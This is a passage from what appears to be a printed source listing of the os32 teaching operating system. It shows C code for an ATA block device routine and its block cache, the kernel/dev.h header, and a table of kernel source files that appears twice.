70005 #include <kernel/driver/ata.h>
70006 //----------------------------------------------------------------------
70007 #define BLK_SIZE          ATA_SECTOR_SIZE         // [1]
70008 //
70009 // [1] This value should be the same as the mass memory sector size,
70010 //     or a multiple. But with a multiple, all simple read and write
70011 //     will be doubled, and some race will lock the system, because
70012 //     read and write are too frequent for the poor ATA driver that
70013 //     I have. :-(
70014 //
70015 //----------------------------------------------------------------------
70016 #define BLK_CACHE_SIZE          128     // This is free!
70017 #define BLK_CACHE_MAX_AGE       BLK_CACHE_SIZE-1
70018 typedef struct {
70019     unsigned int age;           // 0=last used DEV_CACHE_MAX_AGE=older
70020     dev_t        device;
70021     unsigned int n;
70022     char         block[BLK_SIZE];
70023 } blk_cache_t;
70024 
70025 extern blk_cache_t   blk_table[BLK_CACHE_SIZE];
70026 //----------------------------------------------------------------------
70027 void *blk_ata (dev_t device, int rw, unsigned int n, void *buffer);
70028 //----------------------------------------------------------------------
70029 void  blk_cache_init  (void);
70030 void  blk_cache_check (void);
70031 void *blk_cache_read  (dev_t device, unsigned int n);
70032 void *blk_cache_save  (dev_t device, unsigned int n, void *block);
```

```
70033 //----------------------------------------------------------------------
70034
70035 #endif
```

119.1 os32: directory principale 7031

119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042

119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052
119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065
119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083
119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086
119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087
119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098
119.4.11 kernel/driver/ata/ata_public.c 7099

119.4.12 kernel/driver/ata/ata_rdy.c 7099
119.4.13 kernel/driver/ata/ata_reset.c 7101
119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102
119.4.16 kernel/driver/kbd/kbd_isr.c 7102
119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110
119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111
119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119
119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134
119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136
119.5.6 kernel/fs/file_table.c 7137
119.5.7 kernel/fs/fs_init.c 7137
119.5.8 kernel/fs/inode_alloc.c 7137
119.5.9 kernel/fs/inode_check.c 7141
119.5.10 kernel/fs/inode_dir_empty.c 7142
119.5.11 kernel/fs/inode_file_read.c 7144
119.5.12 kernel/fs/inode_file_write.c 7146

119.5.13 kernel/fs/inode_free.c 7148
119.5.14 kernel/fs/inode_fzones_read.c 7149
119.5.15 kernel/fs/inode_fzones_write.c 7151
119.5.16 kernel/fs/inode_get.c 7152
119.5.17 kernel/fs/inode_pipe_make.c 7155
119.5.18 kernel/fs/inode_pipe_read.c 7157
119.5.19 kernel/fs/inode_pipe_write.c 7159
119.5.20 kernel/fs/inode_print.c 7161
119.5.21 kernel/fs/inode_put.c 7163
119.5.22 kernel/fs/inode_reference.c 7164
119.5.23 kernel/fs/inode_save.c 7166
119.5.24 kernel/fs/inode_stdio_dev_make.c 7167
119.5.25 kernel/fs/inode_table.c 7169
119.5.26 kernel/fs/inode_truncate.c 7169
119.5.27 kernel/fs/inode_zone.c 7172
119.5.28 kernel/fs/path_device.c 7180
119.5.29 kernel/fs/path_fix.c 7181
119.5.30 kernel/fs/path_full.c 7183
119.5.31 kernel/fs/path_inode.c 7184
119.5.32 kernel/fs/path_inode_link.c 7188
119.5.33 kernel/fs/sb_inode_status.c 7193
119.5.34 kernel/fs/sb_mount.c 7194
119.5.35 kernel/fs/sb_print.c 7197
119.5.36 kernel/fs/sb_public.c 7198
119.5.37 kernel/fs/sb_reference.c 7198
119.5.38 kernel/fs/sb_save.c 7199
119.5.39 kernel/fs/sb_zone_status.c 7201
119.5.40 kernel/fs/zone_alloc.c 7202
119.5.41 kernel/fs/zone_free.c 7203
119.5.42 kernel/fs/zone_print.c 7204
119.5.43 kernel/fs/zone_read.c 7205
119.5.44 kernel/fs/zone_write.c 7206

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219
119.6.6 kernel/ibm_i386/_out_8.s 7220

119.6.7 kernel/ibm_i386/cli.s 7220
119.6.8 kernel/ibm_i386/gdt.c 7221
119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222
119.6.11 kernel/ibm_i386/gdt_public.c 7223
119.6.12 kernel/ibm_i386/gdt_segment.c 7223
119.6.13 kernel/ibm_i386/idt.c 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c 7227
119.6.16 kernel/ibm_i386/idt_load.s 7228
119.6.17 kernel/ibm_i386/idt_print.c 7228
119.6.18 kernel/ibm_i386/idt_public.c 7229
119.6.19 kernel/ibm_i386/irq_off.c 7229
119.6.20 kernel/ibm_i386/irq_on.c 7230
119.6.21 kernel/ibm_i386/isr.s 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c 7245
119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c 7247
119.6.27 kernel/ibm_i386/sti.s 7247

119.7 os32: «kernel/lib_k.h» 7248

119.7.1 kernel/lib_k/k_exit.s 7254
119.7.2 kernel/lib_k/k_gets.c 7255
119.7.3 kernel/lib_k/k_perror.c 7255
119.7.4 kernel/lib_k/k_printf.c 7256
119.7.5 kernel/lib_k/k_sleep.c 7256
119.7.6 kernel/lib_k/k_stime.c 7257
119.7.7 kernel/lib_k/k_vprintf.c 7257
119.7.8 kernel/lib_k/k_vsprintf.c 7258

119.8 os32: «kernel/lib_s.h» 7259

119.8.1 kernel/lib_s/s__exit.c 7266
119.8.2 kernel/lib_s/s_brk.c 7269
119.8.3 kernel/lib_s/s_chdir.c 7275
119.8.4 kernel/lib_s/s_chmod.c 7276
119.8.5 kernel/lib_s/s_chown.c 7277
119.8.6 kernel/lib_s/s_clock.c 7278
119.8.7 kernel/lib_s/s_close.c 7278

119.8.8 kernel/lib_s/s_dup.c 7280
119.8.9 kernel/lib_s/s_dup2.c 7280
119.8.10 kernel/lib_s/s_fchmod.c 7281
119.8.11 kernel/lib_s/s_fchown.c 7282
119.8.12 kernel/lib_s/s_fcntl.c 7283
119.8.13 kernel/lib_s/s_fork.c 7285
119.8.14 kernel/lib_s/s_fstat.c 7291
119.8.15 kernel/lib_s/s_kill.c 7292
119.8.16 kernel/lib_s/s_link.c 7295
119.8.17 kernel/lib_s/s_longjmp.c 7296
119.8.18 kernel/lib_s/s_lseek.c 7297
119.8.19 kernel/lib_s/s_mkdir.c 7299
119.8.20 kernel/lib_s/s_mknod.c 7301
119.8.21 kernel/lib_s/s_mount.c 7303
119.8.22 kernel/lib_s/s_open.c 7304
119.8.23 kernel/lib_s/s_pipe.c 7310
119.8.24 kernel/lib_s/s_read.c 7312
119.8.25 kernel/lib_s/s_sbrk.c 7315
119.8.26 kernel/lib_s/s_setegid.c 7316
119.8.27 kernel/lib_s/s_seteuid.c 7317
119.8.28 kernel/lib_s/s_setgid.c 7317
119.8.29 kernel/lib_s/s_setjmp.c 7318
119.8.30 kernel/lib_s/s_setuid.c 7319
119.8.31 kernel/lib_s/s_signal.c 7320
119.8.32 kernel/lib_s/s_stat.c 7321
119.8.33 kernel/lib_s/s_stime.c 7323
119.8.34 kernel/lib_s/s_tcgetattr.c 7323
119.8.35 kernel/lib_s/s_tcsetattr.c 7325
119.8.36 kernel/lib_s/s_time.c 7326
119.8.37 kernel/lib_s/s_umount.c 7327
119.8.38 kernel/lib_s/s_unlink.c 7329
119.8.39 kernel/lib_s/s_wait.c 7333
119.8.40 kernel/lib_s/s_write.c 7334

119.9 os32: «kernel/main.h» 7337

119.9.1 kernel/main/build.h 7344
119.9.2 kernel/main/crt0.s 7344
119.9.3 kernel/main/kmain.c 7345
119.9.4 kernel/main/menu.c 7351
119.9.5 kernel/main/run.c 7352

119.9.6 kernel/main/stack.s 7353

119.10 os32: «kernel/memory.h» 7353

119.10.1 kernel/memory/mb_alloc.c 7360
119.10.2 kernel/memory/mb_alloc_size.c 7362
119.10.3 kernel/memory/mb_clean.c 7364
119.10.4 kernel/memory/mb_free.c 7364
119.10.5 kernel/memory/mb_print.c 7366
119.10.6 kernel/memory/mb_public.c 7368
119.10.7 kernel/memory/mb_reduce.c 7368
119.10.8 kernel/memory/mb_reference.c 7369
119.10.9 kernel/memory/mb_size.c 7369

119.11 os32: «kernel/multiboot.h» 7370

119.11.1 kernel/multiboot/mboot_public.c 7376
119.11.2 kernel/multiboot/mboot_save.c 7376

119.12 os32: «kernel/part.h» 7377

119.13 os32: «kernel/proc.h» 7384

119.13.1 kernel/proc/proc_available.c 7393
119.13.2 kernel/proc/proc_dump_memory.c 7394
119.13.3 kernel/proc/proc_init.c 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c 7399
119.13.5 kernel/proc/proc_print.c 7399
119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411
119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416
119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418
119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424
119.13.21 kernel/proc/proc_sig_term.c 7424

119.13.22 kernel/proc/proc_sys_exec.c 7425
119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441
119.13.26 kernel/proc/proc_wakeup_terminal.c 7442
119.13.27 kernel/proc/sysroutine.c 7443

119.2.1 kernel/blk/blk_ata.c

Si veda la sezione 118.2.1.

```
80001 #include <sys/os32.h>
80002 #include <kernel/blk.h>
80003 #include <kernel/dev.h>
80004 #include <kernel/driver/ata.h>
80005 #include <kernel/lib_k.h>
80006 #include <kernel/dm.h>
80007 #include <sys/types.h>
80008 #include <ctype.h>
80009 #include <string.h>
80010 //----------------------------------------------------------------------
80011 #define DEBUG 0
80012 //----------------------------------------------------------------------
80013 void *
80014 blk_ata (dev_t device, int rw, unsigned int n, void *buffer)
80015 {
80016     ata_sector_t *destination = buffer;
80017     ata_sector_t *source      = buffer;
80018     int           dev_minor   = minor (device);
80019     int           d           = ((dev_minor & 0x00F0) >> 4);
80020     ptrdiff_t     ptrdiff;
80021     int           drive;
80022     unsigned int  sector      = n * (BLK_SIZE/ATA_SECTOR_SIZE);
80023     size_t        count       = (BLK_SIZE/ATA_SECTOR_SIZE);
80024     int           status;
80025     int           c;
80026     void         *cache;
80027     //
80028     // Convert the table pointer to a drive number.
80029     //
80030     ptrdiff = (  ((intptr_t) dm_table[d].table)
80031                - ((intptr_t) ata_table));
80032     drive   = ptrdiff / (sizeof (ata_t));
80033     //
80034     if (DEBUG)
80035       {
80036         k_printf ("%s: R/W=%i dev=%04x n=%ui ", __FILE__,
80037                   rw, (int) device, n);
80038         blk_cache_check ();
80039       }
```

```
80040         //
80041         // If reading, check if we already have inside cache.
80042         //
80043         if (rw == DEV_READ)
80044           {
80045             cache = blk_cache_read (device, n);
80046             if (cache != NULL)
80047               {
80048                 return (cache);
80049               }
80050           }
80051         //
80052         // Read or write.
80053         //
80054         for (c = 0, status = 0;
80055              c < count && status == 0;
80056              c++, sector++)
80057           {
80058             //
80059             if (DEBUG)
80060               {
80061                 k_printf ("sec=%i ", sector);
80062               }
80063             //
80064             if (rw == DEV_READ)
80065               {
80066                 status = ata_read_sector (drive, sector,
80067                                           &destination[c]);
80068               }
80069             else
80070               {
80071                 status = ata_write_sector (drive, sector,
80072                                            &source[c]);
80073               }
80074           }
80075         //
80076         // If a block was read or written inside ATA hardware, then
80077         // save it inside the cache.
80078         //
80079         if (status == 0)
80080           {
80081             cache = blk_cache_save (device, n, buffer);
80082           }
80083         else
80084           {
80085             cache = NULL;
80086           }
80087         //
80088         //
80089         //
80090         if (DEBUG)
80091           {
```

```
80092           k_printf ("\n");
80093         }
80094       //
80095       return (cache);
80096   }
```

119.2.2 kernel/blk/blk_cache_check.c

Si veda la sezione 118.2.2.

```
90001   #include <kernel/blk.h>
90002   #include <string.h>
90003   #include <kernel/lib_k.h>
90004   //----------------------------------------------------------------------
90005   void
90006   blk_cache_check (void)
90007   {
90008     int i;
90009     int j;
90010     //
90011     // check if all ages are present.
90012     //
90013     for (i = 0; i < BLK_CACHE_SIZE; i++)
90014       {
90015         if (blk_table[i].age > BLK_CACHE_MAX_AGE)
90016           {
90017             k_printf ("blk_table[%i].age > BLK_CACHE_MAX_AGE\n", i);
90018             return;
90019           }
90020         for (j = 0; j < BLK_CACHE_SIZE; j++)
90021           {
90022             if (j != i && blk_table[i].age == blk_table[j].age)
90023               {
90024                 k_printf ("blk_table[%i].age == blk_table[%i].age\n",
90025                           i, j);
90026                 return;
90027               }
90028           }
90029       }
90030   }
```

119.2.3 kernel/blk/blk_cache_init.c

Si veda la sezione 118.2.3.

```
100001  #include <kernel/blk.h>
100002  //----------------------------------------------------------------------
100003  void
100004  blk_cache_init (void)
```

```
100005 {
100006   int i;
100007   for (i = 0; i < BLK_CACHE_SIZE; i++)
100008     {
100009       blk_table[i].age = i;     // Age is from 0 to BLK_CACHE_MAX_AGE.
100010       blk_table[i].device = 0;
100011       blk_table[i].n = 0;
100012     }
100013 }
```

119.2.4 kernel/blk/blk_cache_read.c

Si veda la sezione 118.2.4.

```
110001 #include <kernel/blk.h>
110002 #include <string.h>
110003 //----------------------------------------------------------------------
110004 void *
110005 blk_cache_read (dev_t device, unsigned int n)
110006 {
110007   int i;
110008   int j;
110009   int age;
110010   //
110011   device &= 0xFFF0;
110012   //
110013   for (i = 0; i < BLK_CACHE_SIZE; i++)
110014     {
110015       if ( blk_table[i].device == device
110016         && blk_table[i].n == n)
110017         {
110018           age = blk_table[i].age;
110019           for (j = 0; j < BLK_CACHE_SIZE; j++)
110020             {
110021               if (blk_table[j].age < age)
110022                 {
110023                   blk_table[j].age++;
110024                 }
110025             }
110026           blk_table[i].age = 0;
110027           //
110028           return (&blk_table[i].block);
110029         }
110030     }
110031   return (NULL);
110032 }
```

119.2.5 kernel/blk/blk_cache_save.c

Si veda la sezione 118.2.4.

```
120001 #include <kernel/blk.h>
120002 #include <string.h>
120003 //----------------------------------------------------------------------
120004 void *
120005 blk_cache_save (dev_t device, unsigned int n, void *block)
120006 {
120007   int i;
120008   int j;
120009   int age;
120010   //
120011   device &= 0xFFF0;
120012   //
120013   // Look inside the cache, if we already have
120014   // that old block.
120015   //
120016   for (i = 0; i < BLK_CACHE_SIZE; i++)
120017     {
120018       if ( blk_table[i].device == device
120019         && blk_table[i].n == n)
120020         {
120021           age = blk_table[i].age;
120022           for (j = 0; j < BLK_CACHE_SIZE; j++)
120023             {
120024               if (blk_table[j].age < age)
120025                 {
120026                   blk_table[j].age++;
120027                 }
120028             }
120029           blk_table[i].age = 0;
120030           //
120031           // Check if the block is the same memory.
120032           //
120033           if (blk_table[i].block == block)
120034             {
120035               //
120036               // No need to transfer data.
120037               //
120038               ;
120039             }
120040           else
120041             {
120042               memcpy (blk_table[i].block, block, (size_t) BLK_SIZE);
120043             }
120044           return (&blk_table[i].block);
120045         }
120046     }
120047   //
120048   // The block is new for the cache: must find
120049   // the older and replace it.
```

```
120050     //
120051     for (i = 0; i < BLK_CACHE_SIZE; i++)
120052       {
120053         if (blk_table[i].age == BLK_CACHE_MAX_AGE)
120054           {
120055             for (j = 0; j < BLK_CACHE_SIZE; j++)
120056               {
120057                 if (blk_table[j].age < BLK_CACHE_MAX_AGE)
120058                   {
120059                     blk_table[j].age++;
120060                   }
120061               }
120062             blk_table[i].age = 0;
120063             blk_table[i].device = device;
120064             blk_table[i].n = n;
120065             memcpy (blk_table[i].block, block, (size_t) BLK_SIZE);
120066             //
120067             return (&blk_table[i].block);
120068           }
120069       }
120070     //
120071     // It should never happen to fail.
120072     //
120073     return (NULL);
120074   }
```

119.2.6 kernel/blk/blk_public.c

Si veda la sezione 118.2.

```
130001 #include <kernel/blk.h>
130002 //----------------------------------------------------------------------
130003 blk_cache_t   blk_table[BLK_CACHE_SIZE];
```

119.3 os32: «kernel/dev.h»

Si veda la sezione 118.3.

```
140001 #ifndef _KERNEL_DEV_H
140002 #define _KERNEL_DEV_H 1
140003 //----------------------------------------------------------------------
140004 #include <sys/os32.h>
140005 #include <sys/types.h>
140006 #include <kernel/driver/ata.h>
140007 //----------------------------------------------------------------------
140008 #define DEV_READ                0
140009 #define DEV_WRITE               1
140010 ssize_t dev_io    (pid_t pid, dev_t device, int rw, off_t offset,
140011                    void *buffer, size_t size, int *eof);
```

```
140012 //----------------------------------------------------------------------
140013 // The following functions are used only by 'dev_io()'.
140014 //----------------------------------------------------------------------
140015 ssize_t dev_dm    (pid_t pid, dev_t device, int rw, off_t offset,
140016                    void *buffer, size_t size, int *eof);
140017 ssize_t dev_ata   (pid_t pid, dev_t device, int rw, off_t offset,
140018                    void *buffer, size_t size, int *eof);
140019 ssize_t dev_mem   (pid_t pid, dev_t device, int rw, off_t offset,
140020                    void *buffer, size_t size, int *eof);
140021 ssize_t dev_tty   (pid_t pid, dev_t device, int rw, off_t offset,
140022                    void *buffer, size_t size, int *eof);
140023 ssize_t dev_kmem  (pid_t pid, dev_t device, int rw, off_t offset,
140024                    void *buffer, size_t size, int *eof);
140025 //----------------------------------------------------------------------
140026 #endif
```

119.1 os32: directory principale 7031

119.1.1 applic.sep.ld 7031
119.1.2 bochs 7032
119.1.3 elf-to-os32 7032
119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042

119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052
119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065
119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083

119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086
119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087
119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098
119.4.11 kernel/driver/ata/ata_public.c 7099
119.4.12 kernel/driver/ata/ata_rdy.c 7099
119.4.13 kernel/driver/ata/ata_reset.c 7101
119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102
119.4.16 kernel/driver/kbd/kbd_isr.c 7102
119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110
119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111
119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119
119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134

119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136
119.5.6 kernel/fs/file_table.c 7137
119.5.7 kernel/fs/fs_init.c 7137
119.5.8 kernel/fs/inode_alloc.c 7137
119.5.9 kernel/fs/inode_check.c 7141
119.5.10 kernel/fs/inode_dir_empty.c 7142
119.5.11 kernel/fs/inode_file_read.c 7144
119.5.12 kernel/fs/inode_file_write.c 7146
119.5.13 kernel/fs/inode_free.c 7148
119.5.14 kernel/fs/inode_fzones_read.c 7149
119.5.15 kernel/fs/inode_fzones_write.c 7151
119.5.16 kernel/fs/inode_get.c 7152
119.5.17 kernel/fs/inode_pipe_make.c 7155
119.5.18 kernel/fs/inode_pipe_read.c 7157
119.5.19 kernel/fs/inode_pipe_write.c 7159
119.5.20 kernel/fs/inode_print.c 7161
119.5.21 kernel/fs/inode_put.c 7163
119.5.22 kernel/fs/inode_reference.c 7164
119.5.23 kernel/fs/inode_save.c 7166
119.5.24 kernel/fs/inode_stdio_dev_make.c 7167
119.5.25 kernel/fs/inode_table.c 7169
119.5.26 kernel/fs/inode_truncate.c 7169
119.5.27 kernel/fs/inode_zone.c 7172
119.5.28 kernel/fs/path_device.c 7180
119.5.29 kernel/fs/path_fix.c 7181
119.5.30 kernel/fs/path_full.c 7183
119.5.31 kernel/fs/path_inode.c 7184
119.5.32 kernel/fs/path_inode_link.c 7188
119.5.33 kernel/fs/sb_inode_status.c 7193
119.5.34 kernel/fs/sb_mount.c 7194
119.5.35 kernel/fs/sb_print.c 7197
119.5.36 kernel/fs/sb_public.c 7198
119.5.37 kernel/fs/sb_reference.c 7198
119.5.38 kernel/fs/sb_save.c 7199
119.5.39 kernel/fs/sb_zone_status.c 7201
119.5.40 kernel/fs/zone_alloc.c 7202
119.5.41 kernel/fs/zone_free.c 7203
119.5.42 kernel/fs/zone_print.c 7204

119.5.43 kernel/fs/zone_read.c 7205
119.5.44 kernel/fs/zone_write.c 7206

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219
119.6.6 kernel/ibm_i386/_out_8.s 7220
119.6.7 kernel/ibm_i386/cli.s 7220
119.6.8 kernel/ibm_i386/gdt.c 7221
119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222
119.6.11 kernel/ibm_i386/gdt_public.c 7223
119.6.12 kernel/ibm_i386/gdt_segment.c 7223
119.6.13 kernel/ibm_i386/idt.c 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c 7227
119.6.16 kernel/ibm_i386/idt_load.s 7228
119.6.17 kernel/ibm_i386/idt_print.c 7228
119.6.18 kernel/ibm_i386/idt_public.c 7229
119.6.19 kernel/ibm_i386/irq_off.c 7229
119.6.20 kernel/ibm_i386/irq_on.c 7230
119.6.21 kernel/ibm_i386/isr.s 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c 7245
119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c 7247
119.6.27 kernel/ibm_i386/sti.s 7247

119.7 os32: «kernel/lib_k.h» 7248

119.7.1 kernel/lib_k/k_exit.s 7254
119.7.2 kernel/lib_k/k_gets.c 7255
119.7.3 kernel/lib_k/k_perror.c 7255
119.7.4 kernel/lib_k/k_printf.c 7256
119.7.5 kernel/lib_k/k_sleep.c 7256
119.7.6 kernel/lib_k/k_stime.c 7257
119.7.7 kernel/lib_k/k_vprintf.c 7257

119.7.8 kernel/lib_k/k_vsprintf.c 7258

119.8 os32: «kernel/lib_s.h» 7259

119.8.1 kernel/lib_s/s__exit.c 7266
119.8.2 kernel/lib_s/s_brk.c 7269
119.8.3 kernel/lib_s/s_chdir.c 7275
119.8.4 kernel/lib_s/s_chmod.c 7276
119.8.5 kernel/lib_s/s_chown.c 7277
119.8.6 kernel/lib_s/s_clock.c 7278
119.8.7 kernel/lib_s/s_close.c 7278
119.8.8 kernel/lib_s/s_dup.c 7280
119.8.9 kernel/lib_s/s_dup2.c 7280
119.8.10 kernel/lib_s/s_fchmod.c 7281
119.8.11 kernel/lib_s/s_fchown.c 7282
119.8.12 kernel/lib_s/s_fcntl.c 7283
119.8.13 kernel/lib_s/s_fork.c 7285
119.8.14 kernel/lib_s/s_fstat.c 7291
119.8.15 kernel/lib_s/s_kill.c 7292
119.8.16 kernel/lib_s/s_link.c 7295
119.8.17 kernel/lib_s/s_longjmp.c 7296
119.8.18 kernel/lib_s/s_lseek.c 7297
119.8.19 kernel/lib_s/s_mkdir.c 7299
119.8.20 kernel/lib_s/s_mknod.c 7301
119.8.21 kernel/lib_s/s_mount.c 7303
119.8.22 kernel/lib_s/s_open.c 7304
119.8.23 kernel/lib_s/s_pipe.c 7310
119.8.24 kernel/lib_s/s_read.c 7312
119.8.25 kernel/lib_s/s_sbrk.c 7315
119.8.26 kernel/lib_s/s_setegid.c 7316
119.8.27 kernel/lib_s/s_seteuid.c 7317
119.8.28 kernel/lib_s/s_setgid.c 7317
119.8.29 kernel/lib_s/s_setjmp.c 7318
119.8.30 kernel/lib_s/s_setuid.c 7319
119.8.31 kernel/lib_s/s_signal.c 7320
119.8.32 kernel/lib_s/s_stat.c 7321
119.8.33 kernel/lib_s/s_stime.c 7323
119.8.34 kernel/lib_s/s_tcgetattr.c 7323
119.8.35 kernel/lib_s/s_tcsetattr.c 7325
119.8.36 kernel/lib_s/s_time.c 7326
119.8.37 kernel/lib_s/s_umount.c 7327

119.8.38 kernel/lib_s/s_unlink.c 7329
119.8.39 kernel/lib_s/s_wait.c 7333
119.8.40 kernel/lib_s/s_write.c 7334

119.9 os32: «kernel/main.h» 7337

119.9.1 kernel/main/build.h 7344
